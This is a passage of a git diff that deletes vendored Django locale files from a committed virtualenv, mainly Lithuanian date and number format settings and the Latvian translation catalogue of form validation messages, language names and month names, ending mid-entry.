-msgid "Django Documentation" -msgstr "Django dokumentacija" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "Pamoka: Apklausos aplikacija" - -msgid "Get started with Django" -msgstr "Pradėti su Django" - -msgid "Django Community" -msgstr "Django Bendrija" - -msgid "Connect, get help, or contribute" -msgstr "Prisijunk, gauk pagalbą arba prisidėk" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/lt/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/lt/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/lt/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/lt/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 44e38f31..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/lt/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/lt/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/lt/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 0d286351..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/lt/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/lt/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/lt/formats.py deleted file mode 100644 index a351b3c2..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/lt/formats.py +++ /dev/null @@ -1,45 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = r"Y \m. E j \d." -TIME_FORMAT = "H:i" -DATETIME_FORMAT = r"Y \m. E j \d., H:i" -YEAR_MONTH_FORMAT = r"Y \m. F" -MONTH_DAY_FORMAT = r"E j \d." -SHORT_DATE_FORMAT = "Y-m-d" -SHORT_DATETIME_FORMAT = "Y-m-d H:i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%Y-%m-%d", # '2006-10-25' - "%d.%m.%Y", # '25.10.2006' - "%d.%m.%y", # '25.10.06' -] -TIME_INPUT_FORMATS = [ - "%H:%M:%S", # '14:30:59' - "%H:%M:%S.%f", # '14:30:59.000200' - "%H:%M", # '14:30' - "%H.%M.%S", # '14.30.59' - "%H.%M.%S.%f", # '14.30.59.000200' - "%H.%M", # '14.30' -] -DATETIME_INPUT_FORMATS = [ - "%Y-%m-%d %H:%M:%S", # '2006-10-25 14:30:59' - "%Y-%m-%d %H:%M:%S.%f", # '2006-10-25 14:30:59.000200' - "%Y-%m-%d %H:%M", # '2006-10-25 14:30' - "%d.%m.%Y %H:%M:%S", # '25.10.2006 14:30:59' - "%d.%m.%Y %H:%M:%S.%f", # '25.10.2006 14:30:59.000200' - "%d.%m.%Y %H:%M", # '25.10.2006 14:30' - "%d.%m.%y %H:%M:%S", # '25.10.06 14:30:59' - "%d.%m.%y %H:%M:%S.%f", # '25.10.06 14:30:59.000200' - "%d.%m.%y %H:%M", # '25.10.06 14:30' - "%d.%m.%y %H.%M.%S", # '25.10.06 14.30.59' - "%d.%m.%y %H.%M.%S.%f", # '25.10.06 14.30.59.000200' - "%d.%m.%y %H.%M", # '25.10.06 14.30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/lv/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/lv/LC_MESSAGES/django.mo deleted file mode 100644 index 10ec9b28..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/lv/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/lv/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/lv/LC_MESSAGES/django.po deleted file mode 100644 index 161dc4da..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/lv/LC_MESSAGES/django.po +++ /dev/null @@ -1,1367 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# edgars , 2011 -# Edgars Voroboks , 2023-2025 -# Edgars Voroboks , 2017,2022 -# Edgars Voroboks , 2017-2018 -# Jannis Leidel , 2011 -# krikulis , 2014 -# Māris Nartišs , 2016 -# Mariusz Felisiak , 2021 -# Mārtiņš Šulcs , 2018 -# Edgars Voroboks , 2018-2021 -# peterisb , 2016-2017 -# Pēteris Caune, 2023 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Edgars Voroboks , 2023-2025\n" -"Language-Team: Latvian (http://app.transifex.com/django/django/language/" -"lv/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: lv\n" -"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n != 0 ? 1 : " -"2);\n" - -msgid "Afrikaans" -msgstr "afrikāņu" - -msgid "Arabic" -msgstr "arābu" - -msgid "Algerian Arabic" -msgstr "Alžīrijas arābu" - -msgid "Asturian" -msgstr "asturiešu" - -msgid "Azerbaijani" -msgstr "azerbaidžāņu" - -msgid "Bulgarian" -msgstr "bulgāru" - -msgid "Belarusian" -msgstr "baltkrievu" - -msgid "Bengali" -msgstr "bengāļu" - -msgid "Breton" -msgstr "bretoņu" - -msgid "Bosnian" -msgstr "bosniešu" - -msgid "Catalan" -msgstr "katalāņu" - -msgid "Central Kurdish (Sorani)" -msgstr "centrālā kurdu (sorani)" - -msgid "Czech" -msgstr "čehu" - -msgid "Welsh" -msgstr "velsiešu" - -msgid "Danish" -msgstr "dāņu" - -msgid "German" -msgstr "vācu" - -msgid "Lower Sorbian" -msgstr "apakšsorbu" - -msgid "Greek" -msgstr "grieķu" - -msgid "English" -msgstr "angļu" - -msgid "Australian English" -msgstr "Austrālijas angļu" - -msgid "British English" -msgstr "Lielbritānijas angļu" - -msgid "Esperanto" -msgstr "esperanto" - -msgid "Spanish" -msgstr "spāņu" - -msgid "Argentinian Spanish" -msgstr "Argentīnas spāņu" - -msgid "Colombian Spanish" -msgstr "Kolumbijas spāņu" - -msgid "Mexican Spanish" -msgstr "Meksikas spāņu" - -msgid "Nicaraguan Spanish" -msgstr "Nikaragvas spāņu" - -msgid "Venezuelan Spanish" -msgstr "Venecuēlas spāņu" - -msgid "Estonian" -msgstr "igauņu" - -msgid "Basque" -msgstr "basku" - -msgid "Persian" -msgstr "persiešu" - -msgid "Finnish" -msgstr "somu" - -msgid "French" -msgstr "franču" - -msgid "Frisian" -msgstr "frīzu" - -msgid "Irish" -msgstr "īru" - -msgid "Scottish Gaelic" -msgstr "skotu gēlu" - -msgid "Galician" -msgstr "galīciešu" - -msgid "Hebrew" -msgstr "ebreju" - -msgid "Hindi" -msgstr "hindu" - -msgid "Croatian" -msgstr "horvātu" - -msgid "Upper Sorbian" -msgstr "augšsorbu" - -msgid "Hungarian" -msgstr "ungāru" - -msgid "Armenian" -msgstr "armēņu" - -msgid "Interlingua" -msgstr "modernā latīņu" - -msgid "Indonesian" -msgstr "indonēziešu" - -msgid "Igbo" -msgstr "igbo" - -msgid "Ido" -msgstr "ido" - -msgid "Icelandic" -msgstr "islandiešu" - -msgid "Italian" -msgstr "itāļu" - -msgid "Japanese" -msgstr "japāņu" - -msgid "Georgian" -msgstr "gruzīnu" - -msgid "Kabyle" -msgstr "kabiliešu" - -msgid "Kazakh" -msgstr "kazahu" - -msgid "Khmer" -msgstr "khmeru" - -msgid "Kannada" -msgstr "kannādiešu" - -msgid "Korean" -msgstr "korejiešu" - -msgid "Kyrgyz" -msgstr "kirgīzu" - -msgid "Luxembourgish" -msgstr "luksemburgiešu" - -msgid "Lithuanian" -msgstr "lietuviešu" - -msgid "Latvian" -msgstr "latviešu" - -msgid "Macedonian" -msgstr "maķedoniešu" - -msgid "Malayalam" -msgstr "malajalu" - -msgid "Mongolian" -msgstr "mongoļu" - -msgid "Marathi" -msgstr "maratiešu" - -msgid "Malay" -msgstr "malajiešu" - -msgid "Burmese" -msgstr "birmiešu" - -msgid "Norwegian Bokmål" -msgstr "norvēģu bokmål" - -msgid "Nepali" -msgstr "nepāliešu" - -msgid "Dutch" -msgstr "holandiešu" - -msgid "Norwegian Nynorsk" -msgstr "norvēģu nynorsk" - -msgid "Ossetic" -msgstr "osetiešu" - -msgid "Punjabi" -msgstr "pandžabu" - -msgid "Polish" -msgstr "poļu" - -msgid "Portuguese" -msgstr "portugāļu" - -msgid "Brazilian Portuguese" -msgstr "Brazīlijas portugāļu" - -msgid "Romanian" -msgstr "rumāņu" - -msgid "Russian" -msgstr "krievu" - -msgid "Slovak" -msgstr "slovāku" - -msgid "Slovenian" -msgstr "slovēņu" - -msgid "Albanian" -msgstr "albāņu" - -msgid "Serbian" -msgstr "serbu" - -msgid "Serbian Latin" -msgstr "serbu latīņu" - -msgid "Swedish" -msgstr "zviedru" - -msgid "Swahili" -msgstr "svahili" - -msgid "Tamil" -msgstr "tamilu" - -msgid "Telugu" -msgstr "telugu" - -msgid "Tajik" -msgstr "tadžiku" - -msgid "Thai" -msgstr "taizemiešu" - -msgid "Turkmen" -msgstr "turkmēņu" - -msgid "Turkish" -msgstr "turku" - -msgid "Tatar" -msgstr "tatāru" - -msgid "Udmurt" -msgstr "udmurtu" - -msgid "Uyghur" -msgstr "uiguru" - -msgid "Ukrainian" -msgstr "ukraiņu" - -msgid "Urdu" -msgstr "urdu" - -msgid "Uzbek" -msgstr "Uzbeku" - -msgid "Vietnamese" -msgstr "vjetnamiešu" - -msgid "Simplified Chinese" -msgstr "vienkāršā ķīniešu" - -msgid "Traditional Chinese" -msgstr "tradicionālā ķīniešu" - -msgid "Messages" -msgstr "Ziņojumi" - -msgid "Site Maps" -msgstr "Lapas kartes" - -msgid "Static Files" -msgstr "Statiski faili" - -msgid "Syndication" -msgstr "Sindikācija" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Lapas numurs nav cipars" - -msgid "That page number is less than 1" -msgstr "Lapas numurs ir mazāks par 1" - -msgid "That page contains no results" -msgstr "Lapa nesatur rezultātu" - -msgid "Enter a valid value." -msgstr "Ievadiet korektu vērtību." - -msgid "Enter a valid domain name." -msgstr "Ievadiet derīgu domēna vārdu." - -msgid "Enter a valid URL." -msgstr "Ievadiet korektu URL adresi." - -msgid "Enter a valid integer." -msgstr "Ievadiet veselu skaitli." - -msgid "Enter a valid email address." -msgstr "Ievadiet korektu e-pasta adresi" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Ievadiet korektu \"identifikatora\" vērtību, kas satur tikai burtus, " -"ciparus, apakšsvītras vai defises." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Ievadiet korektu \"identifikatora\" vērtību, kas satur tikai Unikoda burtus, " -"ciparus, apakšsvītras vai defises." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Ievadiet derīgu %(protocol)s adresi." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 vai IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Ievadiet tikai numurus, atdalītus ar komatiem." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Nodrošiniet, ka vērtība ir %(limit_value)s (tā satur %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Šai vērtībai jabūt mazākai vai vienādai ar %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Vērtībai jābūt lielākai vai vienādai ar %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "Vērtībai jābūt reizinājumam no %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Pārliecinieties, ka šī vērtība ir soļa lieluma %(limit_value)s reizinājums, " -"sākot no %(offset)s, piem. %(offset)s, %(valid_value1)s, %(valid_value2)s, " -"un tā tālāk." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Vērtībai jābūt vismaz %(limit_value)d zīmēm (tai ir %(show_value)d)." -msgstr[1] "" -"Vērtībai jābūt vismaz %(limit_value)d zīmei (tai ir %(show_value)d)." -msgstr[2] "" -"Vērtībai jābūt vismaz %(limit_value)d zīmēm (tai ir %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Vērtībai jābūt ne vairāk kā %(limit_value)d zīmēm (tai ir %(show_value)d)." -msgstr[1] "" -"Vērtībai jābūt ne vairāk kā %(limit_value)d zīmei (tai ir %(show_value)d)." -msgstr[2] "" -"Vērtībai jābūt ne vairāk kā %(limit_value)d zīmēm (tai ir %(show_value)d)." - -msgid "Enter a number." -msgstr "Ievadiet skaitli." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Pārliecinieties, ka kopā nav vairāk par %(max)s ciparu." -msgstr[1] "Pārliecinieties, ka kopā nav vairāk par %(max)s cipariem." -msgstr[2] "Pārliecinieties, ka kopā nav vairāk par %(max)s cipariem." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -"Pārliecinieties, ka aiz decimālās zīmes nav vairāk par %(max)s ciparu." -msgstr[1] "" -"Pārliecinieties, ka aiz decimālās zīmes nav vairāk par %(max)s cipariem." -msgstr[2] "" -"Pārliecinieties, ka aiz decimālās zīmes nav vairāk par %(max)s cipariem." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Pārliecinieties, ka pirms decimālās zīmes nav vairāk par %(max)s ciparu." -msgstr[1] "" -"Pārliecinieties, ka pirms decimālās zīmes nav vairāk par %(max)s cipariem." -msgstr[2] "" -"Pārliecinieties, ka pirms decimālās zīmes nav vairāk par %(max)s cipariem." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Faila paplašinājums “%(extension)s” nav atļauts. Atļautie paplašinājumi ir: " -"%(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Nulles rakstzīmes nav atļautas." - -msgid "and" -msgstr "un" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s ar šādu lauka %(field_labels)s vērtību jau eksistē." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Ierobežojums “%(name)s” ir pārkāpts." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Vērtība %(value)r nav derīga izvēle." - -msgid "This field cannot be null." -msgstr "Šis lauks nevar būt tukšs, null." - -msgid "This field cannot be blank." -msgstr "Šis lauks nevar būt tukšs" - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s ar šādu lauka %(field_label)s vērtību jau eksistē." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "%(field_label)s jābūt unikālam %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Lauks ar tipu: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "“%(value)s” vērtībai ir jābūt vai nu True, vai False." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "“%(value)s” vērtībai ir jābūt True, False vai None." - -msgid "Boolean (Either True or False)" -msgstr "Boolean (vai nu True, vai False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Simbolu virkne (līdz pat %(max_length)s)" - -msgid "String (unlimited)" -msgstr "Simbolu virkne (neierobežota)" - -msgid "Comma-separated integers" -msgstr "Ar komatu atdalīti veselie skaitļi" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"“%(value)s” vērtība ir nepareizā formātā. Tai ir jābūt YYYY-MM-DD formātā." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"“%(value)s” vērtība ir pareizā formātā (YYYY-MM-DD), bet tas nav derīgs " -"datums." - -msgid "Date (without time)" -msgstr "Datums (bez laika)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"“%(value)s” vērtība ir nepareizā formātā. Tai ir jābūt YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] formātā." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"“%(value)s” vērtība ir pareizā formātā (YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]), " -"bet tas nav derīgs datums/laiks." - -msgid "Date (with time)" -msgstr "Datums (ar laiku)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "“%(value)s” vērtībai ir jābūt decimālam skaitlim." - -msgid "Decimal number" -msgstr "Decimāls skaitlis" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"“%(value)s” vērtība ir nepareizā formātā. Tai ir jābūt [DD] [[HH:]MM:]ss[." -"uuuuuu] formātā." - -msgid "Duration" -msgstr "Ilgums" - -msgid "Email address" -msgstr "E-pasta adrese" - -msgid "File path" -msgstr "Faila ceļš" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "“%(value)s” vērtībai ir jābūt daļskaitlim." - -msgid "Floating point number" -msgstr "Peldošā komata skaitlis" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "“%(value)s” vērtībai ir jābūt veselam skaitlim." - -msgid "Integer" -msgstr "Vesels skaitlis" - -msgid "Big (8 byte) integer" -msgstr "Liels (8 baitu) vesels skaitlis" - -msgid "Small integer" -msgstr "Mazs vesels skaitlis" - -msgid "IPv4 address" -msgstr "IPv4 adrese" - -msgid "IP address" -msgstr "IP adrese" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "“%(value)s” vērtībai ir jābūt None, True vai False." - -msgid "Boolean (Either True, False or None)" -msgstr "Boolean (vai nu True, False, vai None)" - -msgid "Positive big integer" -msgstr "Liels pozitīvs vesels skaitlis" - -msgid "Positive integer" -msgstr "Naturāls skaitlis" - -msgid "Positive small integer" -msgstr "Mazs pozitīvs vesels skaitlis" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Identifikators (līdz %(max_length)s)" - -msgid "Text" -msgstr "Teksts" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"“%(value)s” vērtība ir nepareizā formātā. Tai ir jābūt HH:MM[:ss[.uuuuuu]] " -"formātā." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"“%(value)s” vērtība ir pareizā formātā (HH:MM[:ss[.uuuuuu]]), bet tas nav " -"derīgs laiks." - -msgid "Time" -msgstr "Laiks" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Bināri dati" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s” nav derīgs UUID." - -msgid "Universally unique identifier" -msgstr "Universāli unikāls identifikators" - -msgid "File" -msgstr "Fails" - -msgid "Image" -msgstr "Attēls" - -msgid "A JSON object" -msgstr "JSON objekts" - -msgid "Value must be valid JSON." -msgstr "Vērtībai ir jābūt derīgam JSON." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r is not a valid choice." -msgstr "%(model)s instance ar %(field)s %(value)r nav derīga izvēle." - -msgid "Foreign Key (type determined by related field)" -msgstr "Ārējā atslēga (tipu nosaka lauks uz kuru attiecas)" - -msgid "One-to-one relationship" -msgstr "Attiecība viens pret vienu" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s attiecība" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s attiecības" - -msgid "Many-to-many relationship" -msgstr "Attiecība daudzi pret daudziem" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Šis lauks ir obligāts." - -msgid "Enter a whole number." -msgstr "Ievadiet veselu skaitli." - -msgid "Enter a valid date." -msgstr "Ievadiet korektu datumu." - -msgid "Enter a valid time." -msgstr "Ievadiet korektu laiku." - -msgid "Enter a valid date/time." -msgstr "Ievadiet korektu datumu/laiku." - -msgid "Enter a valid duration." -msgstr "Ievadiet korektu ilgumu." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Dienu skaitam jābūt no {min_days} līdz {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Nav nosūtīts fails. Pārbaudiet formas kodējuma tipu." - -msgid "No file was submitted." -msgstr "Netika nosūtīts fails." - -msgid "The submitted file is empty." -msgstr "Jūsu nosūtītais fails ir tukšs." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Faila nosaukuma garumam jābūt ne vairāk kā %(max)d zīmēm (tas ir %(length)d)." -msgstr[1] "" -"Faila nosaukuma garumam jābūt ne vairāk kā %(max)d zīmei (tas ir %(length)d)." -msgstr[2] "" -"Faila nosaukuma garumam jābūt ne vairāk kā %(max)d zīmēm (tas ir %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Vai nu iesniedziet failu, vai atzīmējiet tukšo izvēles rūtiņu, bet ne abus." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Augšupielādējiet korektu attēlu. Fails, ko augšupielādējāt, vai nu nav " -"attēls, vai arī ir bojāts." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Izvēlieties korektu izvēli. %(value)s nav pieejamo izvēļu sarakstā." - -msgid "Enter a list of values." -msgstr "Ievadiet sarakstu ar vērtībām." - -msgid "Enter a complete value." -msgstr "Ievadiet pilnu vērtību." - -msgid "Enter a valid UUID." -msgstr "Ievadiet derīgu UUID." - -msgid "Enter a valid JSON." -msgstr "Ievadiet korektu JSON." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Slēpts lauks %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"ManagementForm trūkst datu vai tie ir mainīti. Trūkstošie lauki: " -"%(field_names)s. Paziņojiet par kļūdu, ja problēma atkārtojas." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Lūdzu iesniedziet ne vairāk par %(num)d formām." -msgstr[1] "Lūdzu iesniedziet ne vairāk par %(num)d formu." -msgstr[2] "Lūdzu iesniedziet ne vairāk par %(num)d formām." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Lūdzu iesniedziet vismaz %(num)d formas." -msgstr[1] "Lūdzu iesniedziet vismaz %(num)d formu." -msgstr[2] "Lūdzu iesniedziet vismaz %(num)d formas." - -msgid "Order" -msgstr "Kārtība" - -msgid "Delete" -msgstr "Dzēst" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Lūdzu izlabojiet dublicētos datus priekš %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Lūdzu izlabojiet dublicētos datus laukam %(field)s, kam jābūt unikālam." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Lūdzu izlabojiet dublicētos datus laukam %(field_name)s, kam jābūt unikālam " -"priekš %(lookup)s iekš %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Lūdzu izlabojiet dublicētās vērtības zemāk." - -msgid "The inline value did not match the parent instance." -msgstr "Iekļautā vērtība nesakrita ar vecāka instanci." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Izvēlieties pareizu izvēli. Jūsu izvēle neietilpst pieejamo sarakstā." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” nav derīga vērtība." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s vērtība nevar tikt attēlota %(current_timezone)s laika zonā; tā " -"var būt neskaidra vai neeksistē." - -msgid "Clear" -msgstr "Notīrīt" - -msgid "Currently" -msgstr "Pašlaik" - -msgid "Change" -msgstr "Mainīt" - -msgid "Unknown" -msgstr "Nezināms" - -msgid "Yes" -msgstr "Jā" - -msgid "No" -msgstr "Nē" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "jā,nē,varbūt" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d baits" -msgstr[1] "%(size)d baiti" -msgstr[2] "%(size)d baitu" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "pusnakts" - -msgid "noon" -msgstr "dienasvidus" - -msgid "Monday" -msgstr "pirmdiena" - -msgid "Tuesday" -msgstr "otrdiena" - -msgid "Wednesday" -msgstr "trešdiena" - -msgid "Thursday" -msgstr "ceturtdiena" - -msgid "Friday" -msgstr "piektdiena" - -msgid "Saturday" -msgstr "sestdiena" - -msgid "Sunday" -msgstr "svētdiena" - -msgid "Mon" -msgstr "pr" - -msgid "Tue" -msgstr "ot" - -msgid "Wed" -msgstr "tr" - -msgid "Thu" -msgstr "ce" - -msgid "Fri" -msgstr "pk" - -msgid "Sat" -msgstr "se" - -msgid "Sun" -msgstr "sv" - -msgid "January" -msgstr "janvāris" - -msgid "February" -msgstr "februāris" - -msgid "March" -msgstr "marts" - -msgid "April" -msgstr "aprīlis" - -msgid "May" -msgstr "maijs" - -msgid "June" -msgstr "jūnijs" - -msgid "July" -msgstr "jūlijs" - -msgid "August" -msgstr "augusts" - -msgid "September" -msgstr "septembris" - -msgid "October" -msgstr "oktobris" - -msgid "November" -msgstr "novembris" - -msgid "December" -msgstr "decembris" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "apr" - -msgid "may" -msgstr "mai" - -msgid "jun" -msgstr "jūn" - -msgid "jul" -msgstr "jūl" - -msgid "aug" -msgstr "aug" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "okt" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dec" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "marts" - -msgctxt "abbrev. month" -msgid "April" -msgstr "aprīlis" - -msgctxt "abbrev. month" -msgid "May" -msgstr "maijs" - -msgctxt "abbrev. month" -msgid "June" -msgstr "jūnijs" - -msgctxt "abbrev. month" -msgid "July" -msgstr "jūlijs" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "aug." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "sept." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "okt." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "dec." - -msgctxt "alt. month" -msgid "January" -msgstr "janvāris" - -msgctxt "alt. month" -msgid "February" -msgstr "februāris" - -msgctxt "alt. month" -msgid "March" -msgstr "marts" - -msgctxt 